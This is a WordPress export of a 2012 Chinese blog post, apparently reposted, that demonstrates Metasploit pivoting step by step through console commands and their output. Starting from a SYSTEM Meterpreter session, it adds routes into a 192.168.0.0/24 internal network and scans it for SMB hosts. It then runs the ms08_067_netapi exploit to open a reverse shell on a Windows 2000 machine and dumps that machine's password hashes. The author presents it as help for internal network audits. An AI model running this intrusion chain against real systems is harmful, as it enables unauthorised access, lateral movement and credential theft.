{"id":803,"date":"2012-03-24T19:08:51","date_gmt":"2012-03-24T11:08:51","guid":{"rendered":"http:\/\/notes.zerobox.org\/?p=803"},"modified":"2012-03-24T19:08:51","modified_gmt":"2012-03-24T11:08:51","slug":"metasploit%e7%9a%84pivot%e5%ae%9e%e4%be%8b%e8%af%a6%e8%a7%a3","status":"publish","type":"post","link":"http:\/\/zerobox.org\/notes\/803.html","title":{"rendered":"metasploit\u7684pivot\u5b9e\u4f8b\u8be6\u89e3"},"content":{"rendered":"<p>\u51fa\u5904\uff1a<a href=\"http:\/\/hi.baidu.com\/p3rlish\/blog\/item\/d117a7f3a8b3384f352acc08.html\">http:\/\/hi.baidu.com\/p3rlish\/blog\/item\/d117a7f3a8b3384f352acc08.html<\/a><\/p>\n<p>first\uff0c\u4e0d\u7ba1\u600e\u4e48\u6837\uff0c\u5404\u79cd\u65b9\u5f0f\uff0c\u9996\u5148\u83b7\u5f97\u4e00\u4e2ashell\uff0csystem\u6743\u9650\u7684shell\uff0c\u5efa\u7acbmeterpter\u7684session<br \/>\nmeterpreter &gt; getprivs<br \/>\n============================================================<br \/>\nEnabled Process Privileges<br \/>\n============================================================<br \/>\nSeDebugPrivilege<br \/>\nSeIncreaseQuotaPrivilege<br \/>\nSeSecurityPrivilege<br \/>\nSeTakeOwnershipPrivilege<br \/>\nSeLoadDriverPrivilege<br \/>\nSeSystemProfilePrivilege<br \/>\nSeSystemtimePrivilege<br \/>\nSeProfileSingleProcessPrivilege<br \/>\nSeIncreaseBasePriorityPrivilege<br \/>\nSeCreatePagefilePrivilege<br \/>\nSeBackupPrivilege<br \/>\nSeRestorePrivilege<br \/>\nSeShutdownPrivilege<br \/>\nSeSystemEnvironmentPrivilege<br \/>\nSeChangeNotifyPrivilege<br \/>\nSeRemoteShutdownPrivilege<br \/>\nSeUndockPrivilege<br \/>\nSeManageVolumePrivilege<\/p>\n<p>meterpreter &gt; getsystem<br \/>\n&#8230;got system (via technique 1).<\/p>\n<p>\u7136\u540e\u770b\u4e0b\u672c\u5730\u7684ip\u795e\u9a6c\u7684<\/p>\n<p>meterpreter &gt; ipconfig \/all<\/p>\n<p>Interface\u00a0 1<br \/>\n============<br \/>\nName\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 : MS TCP Loopback interface<br \/>\nHardware MAC : 00:00:00:00:00:00<br \/>\nMTU\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 : 1520<br \/>\nIPv4 Address : 127.0.0.1<br \/>\nIPv4 Netmask : 255.0.0.0<\/p>\n<p>Interface 65539<br \/>\n============<br \/>\nName\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 : Intel(R) PRO\/1000 MT Network Connection<br \/>\nHardware MAC : 00:0c:29:cd:69:e8<br \/>\nMTU\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 : 1500<br \/>\nIPv4 Address : 192.168.0.116<br \/>\nIPv4 Netmask : 255.255.255.0<\/p>\n<p>\u7136\u540e\u83b7\u53d6\u672c\u5730\u7f51\u7edc\u5206\u914d\u60c5\u51b5<\/p>\n<p>meterpreter &gt; run get_local_subnets<br \/>\nLocal subnet: 192.168.0.0\/255.255.255.0<\/p>\n<p>ok\uff0c\u54b1\u4eec\u5f00\u59cb\u6dfb\u52a0\u672c\u5730\u7f51\u5173\u548cip\u5730\u5740\uff0c\u5728session\u91cc\u9762\u521b\u5efa\u865a\u62df\u8def\u7531\u529f\u80fd<\/p>\n<p>meterpreter &gt; run autoroute -h<br \/>\nGet a list of local subnets based on the host&#8217;s routes<br \/>\nUSAGE: run get_local_subnets<\/p>\n<p>OPTIONS:<\/p>\n<p>-D\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Delete all routes (does not require a subnet)<br \/>\n-d\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Delete the named route instead of adding it<br \/>\n-h\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Help and usage<br \/>\n-n &lt;opt&gt;\u00a0 Netmask (IPv4, for example, 255.255.255.0<br \/>\n-p\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Print active routing table. All other options are ignored<br \/>\n-s &lt;opt&gt;\u00a0 Subnet (IPv4, for example, 10.10.10.0)<\/p>\n<p>\u4e0d\u591a\u89e3\u91ca\uff0c\u5927\u5bb6\u90fd\u80fd\u770b\u61c2\uff0c\u6211\u4eec\u5f00\u59cb\u6dfb\u52a0IP\u5730\u5740\u548c\u5b50\u7f51\u63a9\u7801<\/p>\n<p>meterpreter &gt; run autoroute -s 192.168.0.0\/24<br \/>\n[*] Adding a route to 192.168.0.0\/255.255.255.0&#8230;<br \/>\n[+] Added route to 192.168.0.0\/255.255.255.0 via xxx.24y.x7.50<br \/>\n[*] Use the -p option to list all active routes<\/p>\n<p>\u81ea\u52a8\u5206\u914dIP\uff0c\u7136\u540e\u67e5\u770b\u4e00\u4e0b\u5206\u914d\u7684IP\u60c5\u51b5<\/p>\n<p>meterpreter &gt; run autoroute -p<\/p>\n<p>Active Routing Table<br \/>\n====================<\/p>\n<p>Subnet\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Netmask\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Gateway<br \/>\n&#8212;&#8212;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 &#8212;&#8212;-\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 &#8212;&#8212;-<br \/>\n192.168.0.0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 255.255.255.0\u00a0\u00a0\u00a0\u00a0\u00a0 Session 1<\/p>\n<p>\u521b\u5efa \u6210\u529f\uff0c\u5f53\u524dsession\u6210\u529f\u521b\u5efa\u865a\u62df\u8def\u7531\u5ba2\u6237\u7aef\uff0c\u540e\u53f0\u8fd0\u884c\u5f53\u524dsession<\/p>\n<p>meterpreter &gt;<br \/>\nBackground session 1? [y\/N]<\/p>\n<p>\u626b\u63cf\u5f53\u524d\u76ee\u6807\u7f51\u7edc\u7684\u673a\u5668smb\u4fe1\u606f\uff0c\u501f\u6b64\u6765\u5224\u65ad\u5f00\u653esmb\u4fe1\u606f\u673a\u5668\u7684\u4e00\u4e9b\u4fe1\u606f<\/p>\n<p>msf\u00a0 auxiliary(smb_version) &gt; run<\/p>\n<p>[*] Scanned 029 of 256 hosts (011% complete)<br \/>\n[*] Scanned 052 of 256 hosts (020% complete)<br \/>\n[*] Scanned 079 of 256 hosts (030% complete)<br \/>\n[*] 192.168.0.101:445 is running Windows 7 Ultimate 7601 Service Pack (Build 1) (language: Unknown) (name:AV-PC) (domain:AV-PC)<br \/>\n[*] 192.168.0.100:445 is running Windows 7 Ultimate 7601 Service Pack (Build 1) (language: Unknown) (name:USERCHI-4JSMNL8) (domain:WORKGROUP)<br \/>\n[*] Scanned 103 of 256 hosts (040% complete)<br \/>\n[*] 192.168.0.116:445 is running Windows 2003 Service Pack 2 (language: Unknown) (name:MILSEC) (domain:WORKGROUP)<br \/>\n[*] 192.168.0.127:445 is running Windows 2003 Service Pack 2 (language: Unknown) (name:MILSEC) (domain:WORKGROUP)<br \/>\n[*] 192.168.0.128:445 is running Windows 2000 Service Pack 4 with MS05-010+ (language: Chinese &#8211; Traditional) (name:J86PG7C8XQQPZDD) (domain:\u96e8\u8587\u5728\u7ebf)<br \/>\n[*] Scanned 128 of 256 hosts (050% complete)<br \/>\n[*] Scanned 154 of 256 hosts (060% complete)<br \/>\n[*] Scanned 180 of 256 hosts (070% complete)<br \/>\n[*] Scanned 205 of 256 hosts (080% complete)<br \/>\n[*] Scanned 231 of 256 hosts (090% complete)<br \/>\n[*] Scanned 256 of 256 hosts (100% complete)<br \/>\n[*] Auxiliary module execution completed<\/p>\n<p>\u4eba\u54c1\u7206\u53d1\u4e86\uff0c\u5185\u7f51\u6709\u4e00\u53f0Windows 2000server\u7684\u673a\u5668\uff0c\u8bd5\u8bd508067\uff0c\u4f30\u8ba1\u6740\u4ed6\u8fd8\u662f\u6ca1\u95ee\u9898\u7684<\/p>\n<p>msf\u00a0 exploit(handler) &gt; use exploit\/windows\/smb\/ms08_067_netapi<br \/>\nmsf\u00a0 exploit(ms08_067_netapi) &gt; set LHOST 192.168.0.0<br \/>\nLHOST =&gt; 192.168.0.0<br \/>\nmsf\u00a0 exploit(ms08_067_netapi) &gt; set LPORT 9988<br \/>\nLPORT =&gt; 9988<br \/>\nmsf\u00a0 exploit(ms08_067_netapi) &gt; set RHOST 192.168.0.128<br \/>\nRHOST =&gt; 192.168.0.128<br \/>\nmsf\u00a0 exploit(ms08_067_netapi) &gt; exploit<\/p>\n<p>[*] Started reverse handler on xx.xy.xxy.131:9988<br \/>\n[*] Automatically detecting the target&#8230;<br \/>\n[*] Fingerprint: Windows 2000 &#8211; Service Pack 4 with MS05-010+ &#8211; lang:Chinese &#8211; Traditional<br \/>\n[*] Selected Target: Windows 2000 Universal<br \/>\n[*] Attempting to trigger the vulnerability&#8230;<br \/>\n[*] Sending stage (752128 bytes) to yyy.yxy.xyx.154<br \/>\n[*] Meterpreter session 2 opened (xx.xy.xxy.131:9988 -&gt; yyy.yxy.xyx.154:33303) at Sat Mar 24 00:42:30 +0400 2012<\/p>\n<p>meterpreter &gt;<\/p>\n<p>\u8fde\u8e29\u4e24\u6b21\u72d7\u5c4e\uff0c\u53ef\u4ee5\u53bb\u4e70\u5f69\u7968\u4e86\u3002\u6ea2\u51fa\u6210\u529f\uff0c\u73b0\u5728\u770b\u770bip\u795e\u9a6c\u7684<\/p>\n<p>meterpreter &gt; ipconfig<\/p>\n<p>Interface\u00a0 1<br \/>\n============<br \/>\nName\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 : MS TCP Loopback interface<br \/>\nHardware MAC : 00:00:00:00:00:00<br \/>\nMTU\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 : 1500<br \/>\nIPv4 Address : 127.0.0.1<br \/>\nIPv4 Netmask : 255.0.0.0<\/p>\n<p>Interface 16777219<br \/>\n============<br \/>\nName\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 : AMD PCNET Family Ethernet Adapter<br \/>\nHardware MAC : 00:0c:29:5f:c6:cd<br \/>\nMTU\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 : 1500<br \/>\nIPv4 Address : 192.168.0.128<br \/>\nIPv4 Netmask : 255.255.255.0<\/p>\n<p>\u6ca1\u9519\uff0c\u7684\u786e\u662f\u6211\u4eec\u7684\u76ee\u6807\u673a\u5668\u7684\u5185\u7f51\u673a\u5668\uff0c\u8ddf\u4e0a\u9762\u7684IP\u662f\u6709\u6240\u4e0d\u540c\u7684\u5427\uff0c<\/p>\n<p>\u6293hash\u554a\uff0c\u4eb2\uff0c<\/p>\n<p>meterpreter &gt; hashdump<br \/>\nAdministrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::<br \/>\nGuest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::<br \/>\nIUSR_J86PG7C8XQQPZDD:1001:f1e39dbd0be340d11146fdf88178ba65:be3c0db67905a8e99a381dd109586c17:::<br \/>\nIWAM_J86PG7C8XQQPZDD:1002:2cc6fe6448db8c5f60b62c4796bb3088:2ea4c2826f40da7d5e7d67f001aae9d0:::<br \/>\nTsInternetUser:1000:2d705216336fe3b01ff234d2818fa846:0d834ee5cfa4b88ac3978002e3acadec:::<\/p>\n<p>\u540e\u53f0\u8fd0\u884c\u770b\u4e00\u4e0b<\/p>\n<p>meterpreter &gt;<br \/>\nBackground session 2? [y\/N]<br \/>\nmsf\u00a0 exploit(ms08_067_netapi) &gt; sessions -l<\/p>\n<p>Active sessions<br \/>\n===============<\/p>\n<p>Id\u00a0 Type\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Information\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Connection<br \/>\n&#8212;\u00a0 &#8212;-\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 &#8212;&#8212;&#8212;&#8211;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 &#8212;&#8212;&#8212;-<br \/>\n1\u00a0\u00a0 meterpreter x86\/win32\u00a0 MILSEC\\Administrator @ MILSEC\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 xx.xy.xxy.131:5546 -&gt; xxx.24y.57.50:30310 (192.168.0.116)<br \/>\n2\u00a0\u00a0 meterpreter x86\/win32\u00a0 NT AUTHORITY\\SYSTEM @ J86PG7C8XQQPZDD\u00a0 xx.xy.xxy.131:9988 -&gt; xxx.24x.148.154:33303 (192.168.0.128)<\/p>\n<p>msf\u00a0 exploit(ms08_067_netapi) &gt;<br \/>\n\u4eb2\uff0c\u4e24\u4e2a\u4e0d\u540c\u7684\u5185\u7f51IP\u548c\u4e0d\u540c\u7684\u5916\u7f51IP\u54e6\uff0c\u8bc1\u660e\u662f\u4e24\u53f0\u4e0d\u540c\u7684\u673a\u5668\u901a\u8fc7\u540c\u4e00\u4e2apivot\u73af\u5883\u6765\u6ea2\u51fa\u7684\uff0c<\/p>\n<p>&nbsp;<\/p>\n<p>linux \u4e0b\u9762\u7684\u8fd9\u4e2a\u662f\u9700\u8981root\u6743\u9650\u6765\u6267\u884c\u7684\uff0c\u4e0d\u7136autoroute\u662f\u4f1a\u51fa\u95ee\u9898\u7684\uff0cLinux\u7684\u660e\u5929\u518d\u626f\uff0c\u5e0c\u671b\u8fd9\u4e2a\u5bf9\u5927\u5bb6\u505a\u5185\u7f51\u5ba1\u8ba1\u7684\u65f6\u5019\u80fd\u6709\u4e00\u4e9b\u5e2e\u52a9\u2026\u2026<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u51fa\u5904\uff1ahttp:\/\/hi.baidu.com\/p3rlish\/blog\/item &hellip;<\/p>\n<p class=\"read-more\"><a href=\"http:\/\/zerobox.org\/notes\/803.html\">\u7ee7\u7eed\u9605\u8bfb &raquo;<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[41],"class_list":["post-803","post","type-post","status-publish","format-standard","hentry","tag-metasploit"],"views":1161,"_links":{"self":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/posts\/803","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/comments?post=803"}],"version-history":[{"count":0,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/posts\/803\/revisions"}],"wp:attachment":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/media?parent=803"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/categories?post=803"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/tags?post=803"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}